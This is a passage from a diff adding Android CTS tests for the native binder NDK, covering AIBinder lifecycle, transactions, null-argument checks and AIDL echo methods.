+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatBinder(const ::ndk::SpAIBinder& in_value,
+                                    ::ndk::SpAIBinder* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableBinder(
+      const ::ndk::SpAIBinder& in_value,
+      ::ndk::SpAIBinder* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatInterface(
+      const std::shared_ptr<IEmpty>& in_value,
+      std::shared_ptr<IEmpty>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableInterface(
+      const std::shared_ptr<IEmpty>& in_value,
+      std::shared_ptr<IEmpty>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatFd(
+      const ::ndk::ScopedFileDescriptor& in_value,
+      ::ndk::ScopedFileDescriptor* _aidl_return) override {
+    _aidl_return->set(dup(in_value.get()));
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableFd(
+      const ::ndk::ScopedFileDescriptor& in_value,
+      ::ndk::ScopedFileDescriptor* _aidl_return) override {
+    _aidl_return->set(dup(in_value.get()));
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatString(const std::string& in_value,
+                                    std::string* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableString(
+      const std::optional<std::string>& in_value,
+      std::optional<std::string>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatPolygon(const RegularPolygon& in_value,
+                                     RegularPolygon* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RenamePolygon(RegularPolygon* value,
+                                     const std::string& newName) override {
+    value->name = newName;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatBooleanArray(
+      const std::vector<bool>& in_value, std::vector<bool>* out_repeated,
+      std::vector<bool>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatByteArray(
+      const std::vector<int8_t>& in_value, std::vector<int8_t>* out_repeated,
+      std::vector<int8_t>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatCharArray(
+      const std::vector<char16_t>& in_value,
+      std::vector<char16_t>* out_repeated,
+      std::vector<char16_t>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatIntArray(
+      const std::vector<int32_t>& in_value, std::vector<int32_t>* out_repeated,
+      std::vector<int32_t>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatLongArray(
+      const std::vector<int64_t>& in_value, std::vector<int64_t>* out_repeated,
+      std::vector<int64_t>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatFloatArray(
+      const std::vector<float>& in_value, std::vector<float>* out_repeated,
+      std::vector<float>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatDoubleArray(
+      const std::vector<double>& in_value, std::vector<double>* out_repeated,
+      std::vector<double>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatStringArray(
+      const std::vector<std::string>& in_value,
+      std::vector<std::string>* out_repeated,
+      std::vector<std::string>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatRegularPolygonArray(
+      const std::vector<RegularPolygon>& in_value, std::vector<RegularPolygon>* out_repeated,
+      std::vector<RegularPolygon>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableBooleanArray(
+      const std::optional<std::vector<bool>>& in_value,
+      std::optional<std::vector<bool>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableByteArray(
+      const std::optional<std::vector<int8_t>>& in_value,
+      std::optional<std::vector<int8_t>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableCharArray(
+      const std::optional<std::vector<char16_t>>& in_value,
+      std::optional<std::vector<char16_t>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableIntArray(
+      const std::optional<std::vector<int32_t>>& in_value,
+      std::optional<std::vector<int32_t>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableLongArray(
+      const std::optional<std::vector<int64_t>>& in_value,
+      std::optional<std::vector<int64_t>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableFloatArray(
+      const std::optional<std::vector<float>>& in_value,
+      std::optional<std::vector<float>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableDoubleArray(
+      const std::optional<std::vector<double>>& in_value,
+      std::optional<std::vector<double>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableStringArray(
+      const std::optional<std::vector<std::optional<std::string>>>& in_value,
+      std::optional<std::vector<std::optional<std::string>>>* _aidl_return) {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus DoubleRepeatNullableStringArray(
+      const std::optional<std::vector<std::optional<std::string>>>& in_value,
+      std::optional<std::vector<std::optional<std::string>>>* out_repeated,
+      std::optional<std::vector<std::optional<std::string>>>* _aidl_return)
+      override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+#ifndef USING_VERSION_1
+  // All methods added from now on should be within this macro
+  ::ndk::ScopedAStatus NewMethodThatReturns10(int32_t* _aidl_return) override {
+    *_aidl_return = 10;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+#endif
+
+  ::ndk::ScopedAStatus repeatFoo(const Foo& in_inFoo, Foo* _aidl_return) {
+    *_aidl_return = in_inFoo;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus renameFoo(Foo* in_foo, const std::string& in_name) {
+    in_foo->a = in_name;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus renameBar(Foo* in_foo, const std::string& in_name) {
+    in_foo->d.a = in_name;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus getF(const Foo& foo, int32_t* _aidl_return) {
+    *_aidl_return = foo.f;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+};
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
new file mode 100644
index 0000000..793795f
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
@@ -0,0 +1,302 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder.h>
+#include <gtest/gtest.h>
+
+#include "utilities.h"
+
+class NdkBinderTest_AIBinder : public NdkBinderTest {};
+
+TEST_F(NdkBinderTest_AIBinder, Destruction) {
+  bool destroyed = false;
+  AIBinder* binder =
+      SampleData::newBinder(nullptr, [&](SampleData*) { destroyed = true; });
+  EXPECT_FALSE(destroyed);
+  AIBinder_incStrong(binder);  // 1 -> 2
+  EXPECT_FALSE(destroyed);
+  AIBinder_decStrong(binder);  // 2 -> 1
+  EXPECT_FALSE(destroyed);
+  AIBinder_decStrong(binder);  // 1 -> 0
+  EXPECT_TRUE(destroyed);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetClass) {
+  AIBinder* binder = SampleData::newBinder();
+  // class is already set since this local binder is contructed with it
+  EXPECT_EQ(SampleData::kClass, AIBinder_getClass(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, AssociateClass) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_TRUE(AIBinder_associateClass(binder, SampleData::kClass));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, AssociateWrongClassFails) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_FALSE(AIBinder_associateClass(binder, SampleData::kAnotherClass));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetUserData) {
+  // This test can't use the helper utility since SampleData isn't exposed
+  SampleData* data = new SampleData;
+  // Takes ownership of data
+  AIBinder* binder = AIBinder_new(SampleData::kClass, static_cast<void*>(data));
+  EXPECT_EQ(data, AIBinder_getUserData(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, DestructionGivesUserData) {
+  // This test can't use the helper utility since SampleData isn't exposed
+  SampleData* destroyedPointer = nullptr;
+  SampleData* data = new SampleData(
+      nullptr, [&](SampleData* data) { destroyedPointer = data; });
+  // Takes ownership of data
+  AIBinder* binder = AIBinder_new(SampleData::kClass, static_cast<void*>(data));
+  EXPECT_EQ(nullptr, destroyedPointer);
+  AIBinder_decStrong(binder);
+
+  // These pointers no longer reference valid memory locations, but the pointers
+  // themselves are valid
+  EXPECT_EQ(data, destroyedPointer);
+}
+
+void onBinderDied(void* /*cookie*/) {}
+
+TEST_F(NdkBinderTest_AIBinder, LinkInProcess) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_DeathRecipient* recipient =
+      AIBinder_DeathRecipient_new(onBinderDied);
+
+  EXPECT_EQ(STATUS_INVALID_OPERATION,
+            AIBinder_linkToDeath(binder, recipient, nullptr /*cookie*/));
+
+  AIBinder_DeathRecipient_delete(recipient);
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetCallingWhenNoCalling) {
+  // Calling UID/PID are current calling UID/PID if there isn't an incoming
+  // call.
+  EXPECT_EQ(getuid(), AIBinder_getCallingUid());
+  EXPECT_EQ(getpid(), AIBinder_getCallingPid());
+}
+
+TEST_F(NdkBinderTest_AIBinder, DebugRefCount) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_EQ(1, AIBinder_debugGetRefCount(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCanPromote) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder* promoted = AIBinder_Weak_promote(weak);
+  EXPECT_EQ(binder, promoted);
+  AIBinder_Weak_delete(weak);
+  AIBinder_decStrong(binder);
+  AIBinder_decStrong(promoted);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCanNotPromote) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder_decStrong(binder);
+
+  AIBinder* promoted = AIBinder_Weak_promote(weak);
+  EXPECT_EQ(nullptr, promoted);
+}
+
+TEST_F(NdkBinderTest_AIBinder, LocalIsLocal) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_FALSE(AIBinder_isRemote(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, IsAlive) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_TRUE(AIBinder_isAlive(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, CanPing) {
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_OK(AIBinder_ping(binder));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionHappens) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+                                           ExpectLifetimeTransactions(1));
+  EXPECT_OK(SampleData::transact(binder, kCode));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, OnewayTransactionHappens) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+                                           ExpectLifetimeTransactions(1));
+  EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, FLAG_ONEWAY));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionCodeMaintained) {
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t code, const AParcel*, AParcel*) {
+        EXPECT_EQ(code, kCode);
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+  EXPECT_OK(SampleData::transact(binder, kCode));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionCodeRangeRespected) {
+  AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK));
+  EXPECT_OK(SampleData::transact(binder, FIRST_CALL_TRANSACTION));
+  EXPECT_OK(SampleData::transact(binder, FIRST_CALL_TRANSACTION + 1));
+  EXPECT_OK(SampleData::transact(binder, LAST_CALL_TRANSACTION - 1));
+  EXPECT_OK(SampleData::transact(binder, LAST_CALL_TRANSACTION));
+
+  EXPECT_EQ(STATUS_UNKNOWN_TRANSACTION,
+            SampleData::transact(binder, FIRST_CALL_TRANSACTION - 1));
+  EXPECT_EQ(STATUS_UNKNOWN_TRANSACTION,
+            SampleData::transact(binder, LAST_CALL_TRANSACTION + 1));
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, UnknownFlagsRejected) {
+  AIBinder* binder =
+      SampleData::newBinder(nullptr, ExpectLifetimeTransactions(0));
+  EXPECT_EQ(STATUS_BAD_VALUE,
+            SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, +1 + 415));
+  EXPECT_EQ(STATUS_BAD_VALUE,
+            SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, FLAG_ONEWAY + 1));
+  EXPECT_EQ(STATUS_BAD_VALUE,
+            SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel, ~0));
+  AIBinder_decStrong(binder);
+}
+
+void* EmptyOnCreate(void* args) { return args; }
+void EmptyOnDestroy(void* /*userData*/) {}
+binder_status_t EmptyOnTransact(AIBinder* /*binder*/,
+                                transaction_code_t /*code*/,
+                                const AParcel* /*in*/, AParcel* /*out*/) {
+  return STATUS_OK;
+}
+
+TEST_F(NdkBinderTest_AIBinder, NullArguments) {
+  void* const kVoidStar = reinterpret_cast<void*>(0xDEADBEEF);
+  const char* const kStr = "asdf";
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_DeathRecipient* recipient =
+      AIBinder_DeathRecipient_new(onBinderDied);
+  EXPECT_NE(nullptr, recipient);
+
+  EXPECT_EQ(nullptr, AIBinder_Class_define(nullptr, EmptyOnCreate,
+                                           EmptyOnDestroy, EmptyOnTransact));
+  EXPECT_EQ(nullptr, AIBinder_Class_define(kStr, nullptr, EmptyOnDestroy,
+                                           EmptyOnTransact));
+  EXPECT_EQ(nullptr, AIBinder_Class_define(kStr, EmptyOnCreate, nullptr,
+                                           EmptyOnTransact));
+  EXPECT_EQ(nullptr, AIBinder_Class_define(kStr, EmptyOnCreate, EmptyOnDestroy,
+                                           nullptr));
+
+  EXPECT_EQ(nullptr, AIBinder_new(nullptr /*clazz*/, kVoidStar /*args*/));
+  EXPECT_EQ(false, AIBinder_isRemote(nullptr));
+  EXPECT_EQ(false, AIBinder_isAlive(nullptr));
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL, AIBinder_ping(nullptr));
+
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_linkToDeath(nullptr, recipient, kVoidStar /*cookie*/));
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_linkToDeath(binder, nullptr, kVoidStar /*cookie*/));
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_unlinkToDeath(nullptr, recipient, kVoidStar /*cookie*/));
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_unlinkToDeath(binder, nullptr, kVoidStar /*cookie*/));
+
+  // Does not crash
+  AIBinder_incStrong(nullptr);
+  AIBinder_decStrong(nullptr);
+
+  EXPECT_EQ(-1, AIBinder_debugGetRefCount(nullptr));
+  EXPECT_EQ(false, AIBinder_associateClass(binder, nullptr));
+  EXPECT_EQ(false, AIBinder_associateClass(nullptr, SampleData::kClass));
+  EXPECT_EQ(nullptr, AIBinder_getClass(nullptr));
+  EXPECT_EQ(nullptr, AIBinder_getUserData(nullptr));
+
+  AParcel* parcel = nullptr;
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_prepareTransaction(binder, nullptr));
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+            AIBinder_prepareTransaction(nullptr, &parcel));
+  EXPECT_EQ(nullptr, parcel);  // not modified
+
+  {
+    auto newParcel = [&] {
+      AParcel* parcel = nullptr;
+      EXPECT_OK(AIBinder_prepareTransaction(binder, &parcel));
+      return parcel;
+    };
+
+    AParcel* inParcel = nullptr;
+    AParcel* outParcel = nullptr;
+
+    inParcel = newParcel();
+    EXPECT_NE(nullptr, inParcel);
+    EXPECT_EQ(
+        STATUS_UNEXPECTED_NULL,
+        AIBinder_transact(nullptr, kCode, &inParcel, &outParcel, 0 /*flags*/));
+    EXPECT_EQ(nullptr, inParcel);   // ownership taken
+    EXPECT_EQ(nullptr, outParcel);  // not modified
+
+    EXPECT_EQ(
+        STATUS_UNEXPECTED_NULL,
+        AIBinder_transact(binder, kCode, nullptr, &outParcel, 0 /*flags*/));
+    EXPECT_EQ(nullptr, outParcel);  // not modified
+
+    inParcel = newParcel();
+    EXPECT_NE(nullptr, inParcel);
+    EXPECT_EQ(
+        STATUS_UNEXPECTED_NULL,
+        AIBinder_transact(binder, kCode, &inParcel, nullptr, 0 /*flags*/));
+    EXPECT_EQ(nullptr, inParcel);   // ownership taken
+    EXPECT_EQ(nullptr, outParcel);  // not modified
+  }
+
+  EXPECT_EQ(nullptr, AIBinder_Weak_new(nullptr));
+
+  // Does not crash
+  AIBinder_Weak_delete(nullptr);
+
+  EXPECT_EQ(nullptr, AIBinder_Weak_promote(nullptr));
+
+  EXPECT_EQ(nullptr, AIBinder_DeathRecipient_new(nullptr));
+
+  // Does not crash
+  AIBinder_DeathRecipient_delete(nullptr);
+
+  AIBinder_DeathRecipient_delete(recipient);
+  AIBinder_decStrong(binder);
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder_jni.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder_jni.cpp
new file mode 100644
index 0000000..228dac3
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder_jni.cpp
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder.h>
+#include <android/binder_ibinder_jni.h>
+#include <gtest/gtest.h>
+#include <nativetesthelper_jni/utils.h>
+
+#include "utilities.h"
+
+void* NothingClass_onCreate(void* args) { return args; }
+void NothingClass_onDestroy(void* /*userData*/) {}
+binder_status_t NothingClass_onTransact(AIBinder*, transaction_code_t,
+                                        const AParcel*, AParcel*) {
+  return STATUS_UNKNOWN_ERROR;
+}
+
+static AIBinder_Class* kNothingClass =
+    AIBinder_Class_define("nothing", NothingClass_onCreate,
+                          NothingClass_onDestroy, NothingClass_onTransact);
+
+class NdkBinderTest_AIBinder_Jni : public NdkBinderTest {};
+
+TEST_F(NdkBinderTest_AIBinder_Jni, ConvertJni) {
+  JNIEnv* env = GetEnv();
+  ASSERT_NE(nullptr, env);
+
+  AIBinder* binder = AIBinder_new(kNothingClass, nullptr);
+  EXPECT_NE(nullptr, binder);
+
+  jobject object = AIBinder_toJavaBinder(env, binder);
+  EXPECT_NE(nullptr, object);
+
+  AIBinder* fromJavaBinder = AIBinder_fromJavaBinder(env, object);
+  EXPECT_EQ(binder, fromJavaBinder);
+
+  AIBinder_decStrong(binder);
+  AIBinder_decStrong(fromJavaBinder);
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
new file mode 100644
index 0000000..5a24284
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -0,0 +1,616 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <aidl/test_package/BnEmpty.h>
+#include <aidl/test_package/BpTest.h>
+#include <aidl/test_package/Foo.h>
+#include <aidl/test_package/RegularPolygon.h>
+#include <android/binder_ibinder_jni.h>
+#include <gtest/gtest.h>
+
+#include "itest_impl.h"
+#include "utilities.h"
+
+using ::aidl::test_package::Bar;
+using ::aidl::test_package::BpTest;
+using ::aidl::test_package::Foo;
+using ::aidl::test_package::ITest;
+using ::aidl::test_package::RegularPolygon;
+using ::ndk::ScopedAStatus;
+using ::ndk::ScopedFileDescriptor;
+using ::ndk::SharedRefBase;
+using ::ndk::SpAIBinder;
+
+struct Params {
+  std::shared_ptr<ITest> iface;
+  bool shouldBeRemote;
+  std::string expectedName;
+  bool shouldBeOld;
+};
+
+#define iface GetParam().iface
+#define shouldBeRemote GetParam().shouldBeRemote
+
+class NdkBinderTest_Aidl : public NdkBinderTest,
+                           public ::testing::WithParamInterface<Params> {};
+
+TEST_P(NdkBinderTest_Aidl, GotTest) { ASSERT_NE(nullptr, iface); }
+
+TEST_P(NdkBinderTest_Aidl, SanityCheckSource) {
+  std::string name;
+  ASSERT_OK(iface->GetName(&name));
+  EXPECT_EQ(GetParam().expectedName, name);
+}
+
+TEST_P(NdkBinderTest_Aidl, Remoteness) {
+  ASSERT_EQ(shouldBeRemote, iface->isRemote());
+}
+
+TEST_P(NdkBinderTest_Aidl, UseBinder) {
+  ASSERT_EQ(STATUS_OK, AIBinder_ping(iface->asBinder().get()));
+}
+
+TEST_P(NdkBinderTest_Aidl, Trivial) {
+  ASSERT_OK(iface->TestVoidReturn());
+  ASSERT_OK(iface->TestOneway());
+}
+
+TEST_P(NdkBinderTest_Aidl, CallingInfo) {
+  EXPECT_OK(iface->CacheCallingInfoFromOneway());
+  int32_t res;
+
+  EXPECT_OK(iface->GiveMeMyCallingPid(&res));
+  EXPECT_EQ(getpid(), res);
+
+  EXPECT_OK(iface->GiveMeMyCallingUid(&res));
+  EXPECT_EQ(getuid(), res);
+
+  EXPECT_OK(iface->GiveMeMyCallingPidFromOneway(&res));
+  if (shouldBeRemote) {
+    // PID is hidden from oneway calls
+    EXPECT_EQ(0, res);
+  } else {
+    EXPECT_EQ(getpid(), res);
+  }
+
+  EXPECT_OK(iface->GiveMeMyCallingUidFromOneway(&res));
+  EXPECT_EQ(getuid(), res);
+}
+
+TEST_P(NdkBinderTest_Aidl, Constants) {
+  ASSERT_EQ(0, ITest::kZero);
+  ASSERT_EQ(1, ITest::kOne);
+  ASSERT_EQ(0xffffffff, ITest::kOnes);
+  ASSERT_EQ(std::string(""), ITest::kEmpty);
+  ASSERT_EQ(std::string("foo"), ITest::kFoo);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitives) {
+  {
+    int32_t out;
+    ASSERT_OK(iface->RepeatInt(3, &out));
+    EXPECT_EQ(3, out);
+  }
+
+  {
+    int64_t out;
+    ASSERT_OK(iface->RepeatLong(3, &out));
+    EXPECT_EQ(3, out);
+  }
+
+  {
+    float out;
+    ASSERT_OK(iface->RepeatFloat(2.0f, &out));
+    EXPECT_EQ(2.0f, out);
+  }
+
+  {
+    double out;
+    ASSERT_OK(iface->RepeatDouble(3.0, &out));
+    EXPECT_EQ(3.0, out);
+  }
+
+  {
+    bool out;
+    ASSERT_OK(iface->RepeatBoolean(true, &out));
+    EXPECT_EQ(true, out);
+  }
+
+  {
+    char16_t out;
+    ASSERT_OK(iface->RepeatChar(L'@', &out));
+    EXPECT_EQ(L'@', out);
+  }
+
+  {
+    int8_t out;
+    ASSERT_OK(iface->RepeatByte(3, &out));
+    EXPECT_EQ(3, out);
+  }
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatBinder) {
+  SpAIBinder binder = iface->asBinder();
+  SpAIBinder ret;
+
+  ASSERT_OK(iface->RepeatBinder(binder, &ret));
+  EXPECT_EQ(binder.get(), ret.get());
+
+  ASSERT_OK(iface->RepeatNullableBinder(binder, &ret));
+  EXPECT_EQ(binder.get(), ret.get());
+
+  ASSERT_OK(iface->RepeatNullableBinder(nullptr, &ret));
+  EXPECT_EQ(nullptr, ret.get());
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatInterface) {
+  class MyEmpty : public ::aidl::test_package::BnEmpty {};
+
+  std::shared_ptr<IEmpty> empty = SharedRefBase::make<MyEmpty>();
+
+  std::shared_ptr<IEmpty> ret;
+  ASSERT_OK(iface->RepeatInterface(empty, &ret));
+  EXPECT_EQ(empty.get(), ret.get());
+
+  ASSERT_OK(iface->RepeatNullableInterface(empty, &ret));
+  EXPECT_EQ(empty.get(), ret.get());
+
+  ASSERT_OK(iface->RepeatNullableInterface(nullptr, &ret));
+  EXPECT_EQ(nullptr, ret.get());
+}
+
+static void checkInOut(const ScopedFileDescriptor& inFd,
+                       const ScopedFileDescriptor& outFd) {
+  static const std::string kContent = "asdf";
+
+  ASSERT_EQ(static_cast<int>(kContent.size()),
+            write(inFd.get(), kContent.data(), kContent.size()));
+
+  std::string out;
+  out.resize(kContent.size());
+  ASSERT_EQ(static_cast<int>(kContent.size()),
+            read(outFd.get(), &out[0], kContent.size()));
+
+  EXPECT_EQ(kContent, out);
+}
+
+static void checkFdRepeat(
+    const std::shared_ptr<ITest>& test,
+    ScopedAStatus (ITest::*repeatFd)(const ScopedFileDescriptor&,
+                                     ScopedFileDescriptor*)) {
+  int fds[2];
+
+  while (pipe(fds) == -1 && errno == EAGAIN)
+    ;
+
+  ScopedFileDescriptor readFd(fds[0]);
+  ScopedFileDescriptor writeFd(fds[1]);
+
+  ScopedFileDescriptor readOutFd;
+  ASSERT_OK((test.get()->*repeatFd)(readFd, &readOutFd));
+
+  checkInOut(writeFd, readOutFd);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatFd) { checkFdRepeat(iface, &ITest::RepeatFd); }
+
+TEST_P(NdkBinderTest_Aidl, RepeatNullableFd) {
+  checkFdRepeat(iface, &ITest::RepeatNullableFd);
+
+  ScopedFileDescriptor in;
